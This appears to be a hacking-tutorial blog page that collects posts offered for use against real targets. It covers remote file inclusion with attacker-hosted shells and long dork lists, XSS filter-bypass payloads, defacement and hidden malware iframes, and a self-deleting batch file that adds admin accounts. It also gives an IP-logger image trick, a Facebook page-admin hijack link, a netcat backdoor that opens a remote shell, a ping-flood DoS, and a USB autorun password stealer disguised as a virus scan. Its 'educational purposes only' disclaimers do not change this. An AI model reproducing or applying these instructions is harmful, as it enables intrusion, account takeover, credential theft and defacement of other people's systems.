Showing posts with label hacking tutorial. Show all posts
Showing posts with label hacking tutorial. Show all posts

RFI-Remote File Inclusion. (Easy and short)

For educational purposes only! Hellow, leetcoder users. First of all what do you need. A vulnerable to RFI site. (wil be explained detailed in this tutorial.). A shell. (provided in tutorial.) This is a very Easy tutorial. It is easy because RFI is easy. But do not get me wrong. finding vulnerables is the hard part! Since this is a mistake not alot off people make not man sites are vuln to it.


RFI-Remote File Inclusion. (Easy and short)

For educational purposes only!
Hellow, leetcoder users.
First of all what do you need.

A vulnerable to RFI site. 
(wil be explained detailed in this tutorial.).

A shell. (provided in tutorial.)

This is a very Easy tutorial.
It is easy because RFI is easy.
But do not get me wrong.
finding vulnerables is the hard part!
Since this is a mistake not alot off people make not man sites are vuln to it.

But why do all the trouble using sqli, xss, lfi, csrf, ssi,..
If this one is so easy.
Thats why i make this tutorial.
Part 1. Explenation.
-- What is RFI
-- How to find vulnerables.
-- How to test vulnerability.
Part 2. exploiting.
-- Looking for exploit link.
-- ADD your shell.
part 3. Downloads.
-- Shells.
-- Dorks.


Part 1. Explenation.
Explenation. What is RFI?

RFI or remote file inclusion. is a very easy exploiting methode.
But it is a very uncommon vulnerability.
This gets created by not updating patched or wrongly updating them.
So it still happons.
Remote file inclusion is exactly what it means.
You add (include a file into the directory. remotely.)

Explenation. How to find vulnerables.

Finding vulnerables is not so different from finding others.
We use dorks.
But how exactly do we get this vulnerability?

Well this is a very simple include file.
Code:
<?php
include($_GET['p']
?>

It sais include ['p']
that means in the link it would be something like this:
http://www .[site]. com/index.php?P=travel.php

This is importand for our exploit code. later in the tutorial.

This could be something else letters, words and so on. 
example:
Code:
<?php
include($_GET['RealSteel']
?>

We allready know what this means!
http://www .[site]. com/index.php?RealSteel=travel.php
Its something like ID. no time to explain.

To find them? we look for dorks.
or we use scanners and so on.
same as we do whit sqli ;).

Explenation. How to test vulnerability.
Easy. we will exploit our full code.
Checking vulnerability is literally exploiting it.
So we can actually skip this step! ^^.

Easy aint it :D.

part 2.exploiting.
exploiting. Looking for exploit link!

simple. change a link like this for example:
Code:
http://www.[site].com/index.php?x=RealSteel
chenge the =realsteel part to a file whe could edit. replace.
Which would be the include.php?

Code:
http://www.[site].com/index.php?x=realpage.php
If all good you get no error.
because this file is there! we googled it ^^.

exploiting. Add your shell.

Exploiting, is changing the include whit your shell.txt do not use it as .php or whatever you did.
Simple upload a shell and add the link.

as following:
Code:
http://www.[site].com/index.php?x=http://www.[MYSITE].com/shell.txt?
Add the question mark at the end!!

If you get an error. try changing the exploit link like following:
Code:
http://www.[site].com/index.php?x=http://www.[MYSITE].com/shell.txt?
Watch the  at the end. its behind the question mark.

Part 3. Downloads.
Shells
-----------------
PHPJackal Shell < --- http://pastebin.com/rLq3iQEV
g00nshell v1.3 Final < --- http://pastebin.com/XdhUJ3t5
Root Shell < --- http://pastebin.com/yuLGFxpF
-----------------
Some Dorks :
---------
inurl:/modules/My_eGallery/public/displayCategory.php?basepath=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/include/new-visitor.inc.php?lvc_include_dir=

inurl:/_functions.php?prefix=

inurl:/cpcommerce/_functions.php?prefix=

inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/ashnews.php?pathtoashnews=

inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=

inurl:/pm/lib.inc.php?pm_path=

inurl:/b2-tools/gm-2-b2.php?b2inc=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/includes/include_once.php?include_file=

inurl:/e107/e107_handlers/secure_img_render.php?p=

inurl:/shoutbox/expanded.php?conf=

inurl:/main.php?x=

inurl:/myPHPCalendar/admin.php?cal_dir=

inurl:/index.php/main.php?x=

inurl:/index.php?include=

inurl:/index.php?x=

inurl:/index.php?open=

inurl:/index.php?visualizar=

inurl:/template.php?pagina=

inurl:/index.php?pagina=

inurl:/index.php?inc=

inurl:/includes/include_onde.php?include_file=

inurl:/index.php?page=

inurl:/index.php?pg=

inurl:/index.php?show=

inurl:/index.php?cat=

inurl:/index.php?file=

inurl:/db.php?path_local=

inurl:/index.php?site=

inurl:/htmltonuke.php?filnavn=

inurl:/livehelp/inc/pipe.php?HCL_path=

inurl:/hcl/inc/pipe.php?HCL_path=

inurl:/inc/pipe.php?HCL_path=

inurl:/support/faq/inc/pipe.php?HCL_path=

inurl:/help/faq/inc/pipe.php?HCL_path=

inurl:/helpcenter/inc/pipe.php?HCL_path=

inurl:/live-support/inc/pipe.php?HCL_path=

inurl:/gnu3/index.php?doc=

inurl:/gnu/index.php?doc=

inurl:/phpgwapi/setup/tables_update.inc.php?appdir=

inurl:/forum/install.php?phpbb_root_dir=

inurl:/includes/calendar.php?phpc_root_path=

inurl:/includes/setup.php?phpc_root_path=

inurl:/inc/authform.inc.php?path_pre=

inurl:/include/authform.inc.php?path_pre=

inurl:index.php?nic=

inurl:index.php?sec=

inurl:index.php?content=

inurl:index.php?link=

inurl:index.php?filename=

inurl:index.php?dir=

inurl:index.php?document=

inurl:index.php?view=

inurl:*.php?sel=

inurl:*.php?session=&content=

inurl:*.php?locate=

inurl:*.php?place=

inurl:*.php?layout=

inurl:*.php?go=

inurl:*.php?catch=

inurl:*.php?mode=

inurl:*.php?name=

inurl:*.php?loc=

inurl:*.php?f=

inurl:*.php?inf=

inurl:*.php?pg=

inurl:*.php?load=

inurl:*.php?naam=

allinurl:/index.php?page= site:*.dk

allinurl:/index.php?file= site:*.dk

INURL OR ALLINURL WITH:

/temp_eg/phpgwapi/setup/tables_update.inc.php?appdir=

/includes/header.php?systempath=

/Gallery/displayCategory.php?basepath=

/index.inc.php?PATH_Includes=

/ashnews.php?pathtoashnews=

/ashheadlines.php?pathtoashnews=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/demo/includes/init.php?user_inc=

/jaf/index.php?show=

/inc/shows.inc.php?cutepath=

/poll/admin/common.inc.php?base_path=

/pollvote/pollvote.php?pollname=

/sources/post.php?fil_config=

/modules/My_eGallery/public/displayCategory.php?basepath=

/bb_lib/checkdb.inc.php?libpach=

/include/livre_include.php?no_connect=lol&chem_absolu=

/index.php?from_market=Y&pageurl=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/pivot/modules/module_db.php?pivot_path=

/modules/4nAlbum/public/displayCategory.php?basepath=

/derniers_commentaires.php?rep=

/modules/coppermine/themes/default/theme.php?THEME_DIR=

/modules/coppermine/include/init.inc.php?CPG_M_DIR=

/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=

/coppermine/themes/maze/theme.php?THEME_DIR=

/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=

/myPHPCalendar/admin.php?cal_dir=

/agendax/addevent.inc.php?agendax_path=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=

/main.php?page=

/default.php?page=

/index.php?action=

/index1.php?p=

/index2.php?x=

/index2.php?content=

/index.php?conteudo=

/index.php?cat=

/include/new-visitor.inc.php?lvc_include_dir=

/modules/agendax/addevent.inc.php?agendax_path=

/shoutbox/expanded.php?conf=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/pivot/modules/module_db.php?pivot_path=

/library/editor/editor.php?root=

/library/lib.php?root=

/e107/e107_handlers/secure_img_render.php?p=

/zentrack/index.php?configFile=

/main.php?x=

/becommunity/community/index.php?pageurl=

/GradeMap/index.php?page=

/index4.php?body=

/side/index.php?side=

/main.php?page=

/es/index.php?action=

/index.php?sec=

/index.php?main=

/index.php?sec=

/index.php?menu=

/html/page.php?page=

/page.php?view=

/index.php?menu=

/main.php?view=

/index.php?page=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/index.php?show=

/tutorials/print.php?page=

/index.php?page=

/index.php?level=

/index.php?file=

/index.php?inter_url=

/index.php?page=

/index2.php?menu=

/index.php?level=

/index1.php?main=

/index1.php?nav=

/index1.php?link=

/index2.php?page=

/index.php?myContent=

/index.php?TWC=

/index.php?sec=

/index1.php?main=

/index2.php?page=

/index.php?babInstallPath=

/main.php?body=

/index.php?z=

/main.php?view=

/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

/index.php?file=

/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=


1. allinurl:my_egallery site:.org
/modules/My_eGallery/public/displayCategory.php?basepath=

2. allinurl:xgallery site:.org
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

3. allinurl:coppermine site:.org
/modules/coppermine/themes/default/theme.php?THEME_DIR=

4. allinurl:4nAlbum site:.org
/modules/4nAlbum/public/displayCategory.php?basepath=

5. allinurlP:NphpBB2 site:.org
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

6. allinurl:ihm.php?p=

7. Keyword : "powered by AllMyLinks"
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

8. allinurl:/modules.php?name=allmyguests
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

9. allinurl:/Popper/index.php?
/Popper/index.php?childwindow.inc.php?form=

10. google = kietu/hit_js.php, allinurl:kietu/hit_js.php
yahoo = by Kietu? v 3.2
/kietu/index.php?kietu[url_hit]=

11. keyword : "Powered by phpBB 2.0.6"
/html&highlight=%2527.include($_GET[a]),exit.%2527&a=

12. keyword : "powered by CubeCart 3.0.6"
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

13. keyword : "powered by paBugs 2.0 Beta 3"
/class.mysql.php?path_to_bt_dir=

14. allinurl:"powered by AshNews", allinurl:AshNews atau allinurl: /ashnews.php
/ashnews.php?pathtoashnews=

15. keyword : /phorum/login.php
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=

16. allinurl:ihm.php?p=*

14. keyword : "powered eyeOs"
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=system($cmd);&cmd=id
diganti dengan :
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=include($_GET%5ba%5d);​ ​&a=

15. allinurl:.php?bodyfile=

16. allinurl:/includes/orderSuccess.inc.php?glob=
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=

17. allinurl:forums.html
/modules.php?name=

18. allinurl:/default.php?page=home

19. allinurl:/folder.php?id=

20. allinurl:main.php?pagina=
/paginedinamiche/main.php?pagina=

21. Key Word: ( Nuke ET Copyright 2004 por Truzone. ) or ( allinurl:*.edu.*/modules.php?name=allmyguests ) or ( "powered by AllMyGuests")
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

22. allinurl:application.php?base_path=
/application.php?base_path=

23. allinurlp:hplivehelper
/phplivehelper/initiate.php?abs_path=

24. allinurlp:hpnuke
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=

25. key word : "powered by Fantastic News v2.1.2"
/archive.php?CONFIG[script_path]=

26. keyword: "powered by smartblog" AND inurl:?page=login
/index.php?page=

27. allinurl:/forum/
/forum/admin/index.php?inc_conf=

28. keyword:"Powered By FusionPHP"
/templates/headline_temp.php?nst_inc=

29. allinurl:shoutbox/expanded.php filetypep:hp
/shoutbox/expanded.php?conf=

30. allinurl: /osticket/
/osticket/include/main.php?config[search_disp]=true&include_dir=

31. keyword : "Powered by iUser"
/common.php?include_path=

32. allinurl: "static.php?load="
/static.php?load=

33. keyworld : /phpcoin/login.php
/phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=

34. keyworld: allinurl:/phpGedview/login.php site:
/help_text_vars.php?dir&PGV_BASE_DIRECTORY=

35. allinurl:/folder.php?id=
/classes.php?LOCAL_PATH=

inurl:"/lire.php?rub="

inurl:"/os/pointer.php?url="

inurl:"folder.php?id="

inurl:"show.php?page="

inurl:"index2.php?DoAction="

inurl:"index.php?canal="

inurl:"index.php?screen="

inurl:"index.php?langc="

inurl:"index.php?Language="

inurl:"view.php?page="

dork: "powered by doodle cart"
rfi of this dork: enc/content.php?Home_Path=

dork: "Login to Calendar"
rfi of this dork: /embed/day.php?path=

dork: "powered by EQdkp"
rfi of this dork: /includes/dbal.php?eqdkp_root_path=

inurl:"template.php?goto="

inurl:"video.php?content="

inurl:"pages.php?page="

inurl:"index1.php?choix="

inurl:"index1.php?menu="

inurl:"index2.php?ascii_seite="

dork: inurl:surveys
rfi to this dork: /surveys/survey.inc.php?path=

inurl:"index.php?body="

dork: allinurl:adobt sitel
rfi to this dork: /classes/adodbt/sql.php?classes_dir=

dork: "Powered By ScozNews"
rfi to this dork: /sources/functions.php?CONFIG[main_path]=
rfi to this dork: /sources/template.php?CONFIG[main_path]=

inurl:"kb_constants.php?module_root_path="

dork: allinurl:"mcf.php"
rfi to this dork: /mcf.php?content=

dork: inurl:"main.php?sayfa="
rfi to this dork: /main.php?sayfa=

dork: "MobilePublisherPHP"
rfi to this dork: /header.php?abspath=

dork: "powered by phpCOIN 1.2.3"
rfi to rhis dork: /coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=

allinurl:login.php?dir=

inurl:"index.php?go="

inurl:"index1.php?="

inurl:"lib/gore.php?libpath="

inurl:"index2.php?p="

inurl:/_functions.php?prefix=

inurl:/cpcommerce/_functions.php?prefix=

Bypassing the XSS Filters

Bypassing the XSS Filters

 

Sometimes, website owner use XSS filters(WAF) to protect against XSS vulnerability.
For eg: if you put the <scirpt>alert("hi")</script> , the Filter will escape the "(quote) character , so the script will become.

<script>alert(>xss detected<)</script>
Now this script won't work. Likewise Filters use different type of filtering method to give protection against the XSS.  In this case, we can use some tricks to bypass the filter.  Here i am going to cover that only. 
1.Bypassing magic_quotes_gpc
The magic_quotes_gpc=ON is a PHP setting(configured in PHP.ini File) , it escapes the every ' (single-quote), " (double quote) and \  with a backslash automatically.
For Eg:
<scirpt>alert("hi");</script> will be filtered as <script>alert(\hi\)</script>.so the script won't work now. 

we can easily bypass this filter by using ASCII characters instead.
For Eg:  alert("hi"); can be converted to
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)

so it just look like this   <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>

In this case there is no "quotes or 'single quotes or / so the filter can't filter this thing.  And, it will successfully run the script.

2.HEX Encoding
we can encode our whole script into HEX code so that it can't be filtered. 
For example:  <script>alert("Hi");</script> can be convert to HEX as:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e
Now put the code in the vulnerable site request.
For ex: 
hxxp://vulnerable-site/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e
 Converting to HEX:
This site will convert to hex code: http://centricle.com/tools/ascii-hex/ 

3.Bypassing using Obfuscation
Some website admin put the script,alert in restricted word list.  so whenever you input this keywords, the filter will remove it and will give error message like "you are not allowed to search this". This can bypassed by changing the case of the keywords(namely Obfuscation).  
For eg:
<ScRipt>ALeRt("hi");</sCRipT>

4. Closing Tag
Sometimes putting "> at the beginning of the code will work. 

"><script>alert("Hi");</script>

This will end the previous opened tag and open our script tag.
Example:
hxxp://vulnerable-site/search?q="><script>alert("Ne0");</script>


Some more filter


'"--></style></script><script>alert("XSS")</script>

';alert(String.fromCharCode(88,83,83))//\'";alert(String.fromCharCode(88,83,83))//\"<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

'%3Balert(String.fromCharCode(88,83,83))%3B/*

<script+language%3D'javascript'>alert(document.cookie)<%2Fscript>&type=all

<script+language%3D'javascript'>alert(document.cookie)<%2Fscript>

<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&page=search

">"><%2Fscript><script>alert(String.fromCharCode(88,83,83))%3B<%2Fscript>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>"<'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>


"><iframe+onload%3Dalert(%2FXSS%2F)>

-%3E%3Cscript%3Ealert%28XSS%29%3C/script%3E.html

1;i=1;land=1;m=1;oq=<script>alert(%22Ne0%22)</script> 

<script>alert(%22Neo%22)</script> 

%3Cscript%3Ealert%28%22Neo%22%29%3C%2Fscript%3E 

%3Cscript%3Ealert%28%22Neo%22%29%3C%2Fscript%3E

<script>alert(%22gee+wiz%22)</script>&oldqt=<script>alert(%22Deoffuscated%22)</script> 

''"><img scr=/ onerror=alert(document.domain)></img>

%3Cscript%3Ealert%28%Neo%%29%3C%2Fscript%3E


How to deface website with Cross Site Scripting

I am just explaining it for educational purpose only.....................
Defacing is one of the most common thing when the hacker found the vulnerability in website.
Defacing is changing the content the website to Hacker content.
Most of time, attacker use this technique to inform about the vulnerability to Admin.

i have some easiest methods to deface the XSS vulnerability  sites.

1 - Script for changing the background Color of a website:
<script>document.body.bgColor="Black";</script>

use this in your target website as

Code:
http://www.site.com/<script&...y.bgColor="red";</script>

2 - Script for changing the background image of a website:

Code:
<script>document.body.background="http://your_image.jpg/";</script>

3 - Defacement Page with Pastehtml:
You just need to upload some defacement page to pastehtml.com and get the link.

When you find a XSS vulnerable site, then insert the script as :

Code:
<script>window.location="http://www.pastehtml.com/Your_Defacement_link";</script>

This script will redirect the page to your pastehtml defacement page.


4 - Defacing with iframe Injection

What is an IFrame Injection?


Using IFrame tag, The Attackers injects the malware contain website(links)
using Cross site Scripting in popular websites.Invisible IFrame Injection is a tag used to insert contents of a webpage inside another one.So if the usual visitors of that popular sites opens the website,it will redirect to malware contain website.

Malware will be loaded to your computer, now you are infected .
Using Iframe Injection, an attacker can inject advertisements inside any other websites,
insert malware infected site links, redirect to malware infected sites and more.

Iframe Injection Tutorial:

1. Find the Vulnerable websites using google dorks.
2. They test the vulnerability by inserting some iframe tag using the url.
3.  Insert the Malicious Iframe code inside the webpage.

For Example:
he can insert this code using the url:


Code:
<iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>


brup suit.rzr


For php webpages:

Code:
echo “<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;


brup suit.rzr


There are more methods to deface it..

Note: You can deface only persistent XSS vulnerable sites.

Top way's How hacker can hack your Account

 

 Phishing 

The first and very basic way of hacking Facebook accounts is via Phishing attack. Phishing is actually creating fake web pages to steal user’s credentials like email,passwords,phone no,etc.
Once the victim logins through the fake page the victims "Email Address" and "Password" is stored in to a text file, The hacker then downloads the text file and get's his hands on the victims credential

 DRAWBACK :
Users nowadays are aware of these type of attacks and one can not be easily fooled using this attack. You need some social engineering to trick someone.
‘
Prevention :
Always check the page URL before logging in. This is the most trusted and effective way one can use to avoid himself from phishing.

Other way is to use some good Antivirus software which will warn you if you visit a harmful phishing page.
Even if somehow you have already entered your credentials in a phisher, Immediately Change your password.

USB Hacking


If an attacker has physical access to your computer and your device, he could just use of USB programmed with a function to automatically extract saved passwords in the Internet browser.


Man In the Middle Attacks


If the victim and attacker are on the same LAN and on a switch based network, a hacker can place himself between the client and the server, or he could act as a default gateway and hence capturing all the traffic in between he can steal username and password also he can takeover victims account easily.

Keylogging 


keylogger is basically a small program.which once is installed on victims computer will record every thing which victim types on his/her computer. The easiest way to hack a Facebook password Keylogging sometimes can be so dangerous that even a person with good knowledge of computers can fall for it.  The logs are then send back to the attacker by either FTP or directly to hackers address.

 DRAWBACK :
Keyloggers are often detected as threats by good antiviruses. Hacker must find a way to protect it from antivirus.

Prevention :

Execute the file only if you trust the sender.
Use online scanner such as novirusthanks.org
Use good antivirus and update it regularly


Session Hijacking


Session Hijacking is Dangerous if you are accessing Website on a http (non secure) .
In a session hijacking attack an attacker steals victims cookies, cookies stores all the necessary logging Information about one’s account, using this info an attacker can easily hack anybody’s account. If you get the cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Facebook, Google, Yahoo.

Drawbacks :
You will be logged out when user is logged out.
You will not get the password of the user’s account.
Will not work if the user is using HTTPS connections.

Prevention :

Always work on SSL secured connections.
Always keep a look at the url if the http:// is not changed to https:// it means that sniffing is active on your network.


Trojans/backdoors

This is an advanced level of hacking. It consists of a server and a client. In this type of attack the attacker sends the infected program to the victim most of time attacker bind with other program. After execution the infected program i.e. Trojan on the victim’s PC opens a backdoor and now the hacker can do whatever he wants with the victim’s PC .

DRAWBACK :
Trojans are often detected as threats by good antiviruses. Hacker must find a way to protect it from antivirus.

Prevention :
Execute the file only if you trust the sender.
Use online scanner such as novirusthanks.org
Use good antivirus and update it regularly .


DNS Spoofing

If both the victim and attacker are on the same network, an attacker can use a DNS spoofing attack and change the original Facebook page to his own fake page and hence can get access to victims Facebook account.

 Botnets

Botnets are not commonly used for hacking  accounts, because of it's high setup costs. They are used to carry more advanced attacks. A Botnet is basically a collection of compromised computer. The infection process is same as the key logging, however a Botnet gives you additional options for carrying out attacks with the compromised computer. Some of the most popular Botnets include Spyeye and Zeus.

Hack "GUEST" with Admin privileges

Hack "GUEST" with Admin privileges........

echo off
title Please Let me hack
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0



Copy this to notepad and save the file as "hackadmin.bat"
then u can double click the file to execute or run in the cmd.
it work ............................



Adding/modifying user accounts







C:>net user username /ADD

where username is the name of your new account. And remember, try and make it look inconspicuous, then they'll just think its a student who really is at school, when really, the person doesn't EXIST! IF you wanna have a password, use this instead:

C:>net user username password /ADD

where password is the password you want to have. So for instance the above would create an account called 'username', with the password being 'password'. The below would have a username of 'deoffuscated' and a password of 'root123'

C:>net user deoffuscated root123 /ADD

Right then, now that we can create accounts, let's delete them:)

C:>net user deoffuscated /DELETE

This will delete poor liddle deoffuscatd account. Do it to you enemies  no only joking becuase they could have important work... well okay only if you REALLY hate them
Let's give you admin priveleges:)

C:>net localgroup administrator newadmin /ADD

This will make newadmin an admin. Remember that some schools may not call their admins 'adminstrator' and so you need to find out the name of the local group they belong to.

You can list all the localgroups by typing

C:>net localgroup


How to grab someone IP

How to get anyone's IP address with External Image


With an IP address you can hotmail revert them or try to IP hack them using a program

What I mean by external image is any image that can be placed from a url.

However, After extensive research iv found out the solution and would like to share with you all.

This works with ALL forum types and with Myspace PM`ing and any other site that lets you insert images from a URL rather than an Upload.  



Step 1.)

Find a free webhost you can use.

The one I use is FreeHostia.co
Just register for a free account there.

========================

Step 2.)

Make a new web directory
example: [ Register or Signin to view external links. ]

=====================

Step 3.)

Create a new file named:

.htaccess

=============================

Step 4.)

Put this code in .htaccess

Code:
RewriteEngine on
RewriteRule ^image.gif$ iplogger.php

Where it says: image.gif

You can change it to where you`ve uploaded your image, it doesn`t matter what image and it can be in any image type such as: gif, jpeg, png, etc.

Where it says: iplogger.php

That is the PHP file that will have the Ip logging code, whatever you want to name it.

========================

Step 5.)

Create an empty iplogger.php file (or whatever you named it)

And put in this code:

Code:
<?php
$log = 'logger.html';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];
$refer = $_SERVER['HTTP_REFERER'];
$date_time = date("l j F Y g:ia", time() - date("Z")) ;
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen("logger.html", "a");
fputs($fp, "
<b>$date_time</b> <br> <b>IP: </b>$ip<br><b>Page: </b>$page<br><b>Refer: </b>$refer<br><b>Useragent:

</b>$agent <br><br>
");
flock($fp, 3);
fclose($fp);
?>

Then create an Empty:

logger.html file

====================

Step 6.)

Upload your image.gif file (or whatever you named it)

if you haven`t already


===============

Step 7.)

Go to a forum or wherever you would like

And insert the image using:


You can insert this in:

- Pm`s
- Posts & Threads
- Signatures
- Avatars
-And anything else that allows external linking of images.

If you would like to insert your image using HTML where is allowed then use this code:

Code:
<IMG SRC="http://site.com/directory/image.gif">

==============================================

Step 8.)

Check your: [ Register or Signin to view external links. ]

For all your IP logs including where they came from.

=============================

How it WORKS:

Basically,

When the web tries to access the Image that is in the directory with the .htaccess file.

The image.gif displays iplogger.php

Because you told it to do so.

It is called mod_rewriting and is very useful.

This tricks the forum or whatever site your using it on to display the re-written url.

=====================

If you would like to display an image at the same time while logging their ip, then you can by inserting the img src code into the php file.

=================

Thats it!

Hope you`ve enjoyed this tutorial that I wrote.


How to hack Facebook page

How to hack Facebook page       

Today I am going to show you How can you hack Facebook Page  you can just send this link to victim which you want to Hack......

https://m.facebook.com/pages/edit/admins/victm page id?update_status=1&admin_role=0&id=your id&_rdr

https://­m.facebook.com/pages/­edit/admins/­1551796205090733?update_st­atus=1&admin_role=0&­id=100009423841437&_rdr

Replace 1551796205090733 with the page id you want to Hack...

Replace the 100009423841437 id as your profile id.

just send this link To Victim In Page Inbox

And Now you are the Admin of that page...

After that open the target page and go to settings>>>page rolls>> remove all admins from the list

Now you are the main administrator

Now That Page Is Yours You Can Do Anything

Enjoy Guy's ...!

How to Recover page

1) Open This Form on Page Creater Profile

https://www.facebook.com/help/contact/167646843343666?refid=122

In box give your page link and tell them how someone hack your page

3) Click on Send

4) In Few Days Facebook will reply you............

How to Hack LAN PC with backdoor

How to Hack LAN PC with backdoor


What you need



  • Temporary access to target computer
  • IP address of the target computer
  • netcat
  • Mind

  • What you can do with this
    • Full access of victim Computer  from your computer. You can read, delete, copy, or upload any file to victim’s compute
    Let's start 
    1. first of all u need to download netcat than unzip the Program in folder.
    2. Take the "nc.exe" program and copy it onto the victim computer that you want to install a backdoor to. Make sure to put the nc.exe program into the "C:\Windows\System32" directory on the target machine.
    3. In victim computer, open a command prompt. Type the “cd c:\windows\system32" and press enter it will navigate to the folder where you placed the nc.exe program.
    4. Type the following  command : "nc -d -L -e cmd.exe -p XXXX," where "XXXX" is the port number you wish to connect through. Choose something high, such as port 10000 or higher.


    6.    On your PC, open a command prompt and type the following command: "telnet X.X.X.X XXXX," where "X.X.X.X" is the IP address of the target computer and "XXXX" is the port of the target computer that you opened earlier. This command opens a data link between the two computers, through which you can explore files, run commands and perform other actions.


       7.   If you are using windows 7 then telnet is not activated by default so you have to activate it manually. To activate it go to “control panel --> program” and click on “turn windows feature on/off”. Then select both check boxes for telnet server and client.


    8. now everything is done if You have good knowledge of command line than u will do anything with victim Computer.







    Dos Attack with CMD

    Dos Attack with CMD





    Dos (Denial of Service) attackes are aggressive attacks on an individual Computer or WebSite with intent to deny services to intended users.
    DoS attackes can target end-user systems, servers, routers and Network links(websites)


    1. now first of all you need ip address of target site you will find out any site  ip here   http://www.getip.com
    2. now open cmd in administrator 
    3. ok now write this command  ping SITE-IP -l 65500 -n 10000000 -w 0.00001       
         -n 10000000= the number of DoS attemps.. u can change the value "10000000" with your  desired             value you want to attempt attack.
             SITE-IP replace target site ip
        -w it's time of next ping in millisecond 





    NOTE-  This Tutrial Is for For Educational Purposes Only

    ​Create a USB Password Stealer

    Create a USB Password Stealer

     

    USB Password Stealer

     

    Hello friend now i have something old tricks you can make your own password stealer

    pen drive first of all  Extracting files from zip and paste it your pen drive 

    double click on launch file and you get all saved password from browser.

    download this file from  here

    Slacking on password security can have horrific consequences. Even so, it's easy to lose track of how many are vulnerable. With just a couple of files, you can steal passwords from nearly everywhere they're stored on a victim's Windows PC, including your own, just to see how secure they really are.
    This post is part of our Evil Week series at Lifehacker, where we look at the dark side of getting things done. Knowing evil means knowing how to beat it, so you can use your sinister powers for good. Want more? Check out our evil week tag page.






    A good rule of thumb is that if you've stored a password on your computer, you've made it possible for someone else to steal with something as simple as a USB flash drive and a one-click script. This includes everything from wireless network keys to passwords you've saved in your browser. Hacker's Handbook has a great guide for the more experienced user, but we'll break it down for beginners here:



    Create USB Password Stealer:-

    So what things we will need first and most important thing that we need is a USB Flash drive after that we need some password recovery tools and NirSoft has a ton of tools that we can use. We’re going to use a few that recover passwords to create our ultimate USB tool.
    Now the tools I am using can be downloaded from here following are the name of tools that we are going to use:-
    • MessenPass
    • Mail PassView
    • Protected Storage PassView
    • Dialupass
    • BulletsPassView
    • Network Password Recovery
    • SniffPass Password Sniffer
    • RouterPassView
    • PstPassword
    • WebBrowserPassView
    • WirelessKeyView
    • Remote Desktop PassView
    • VNCPassView
    After you have downloaded these files move them to your USB.

    Creating AutoRun Script (Work only on Windows XP):-

    So the next step is to create an Autorun script so we don’t have to do manual work. But unfortunately the autorun have been disabled on Windows  7 and above so is your target is a Windows XP user then we will create a file with the following Details.
    File Name: autorun.inf
    Edit it with notepad and paste the following code in it:-
    [autorun]
    open=launch.bat
    ACTION= Perform a Virus Scan
    Now we need to create a .bat file with will run the tools and gather passwords from the computer.
    File Name: launch.bat
    and paste the following script in it.
    start mspass.exe /stext mspass.txt
    start mailpv.exe /stext mailpv.txt<br>start pspv.exe /stext pspv.txt
    start Dialupass.exe /stext Dialupass.txt
    start BulletsPassView.exe /stext BulletsPassView.txt
    start netpass.exe /stext netpass.txt
    start sniffpass.exe /stext sniffpass.txt
    start RouterPassView.exe /stext RouterPassView.txt
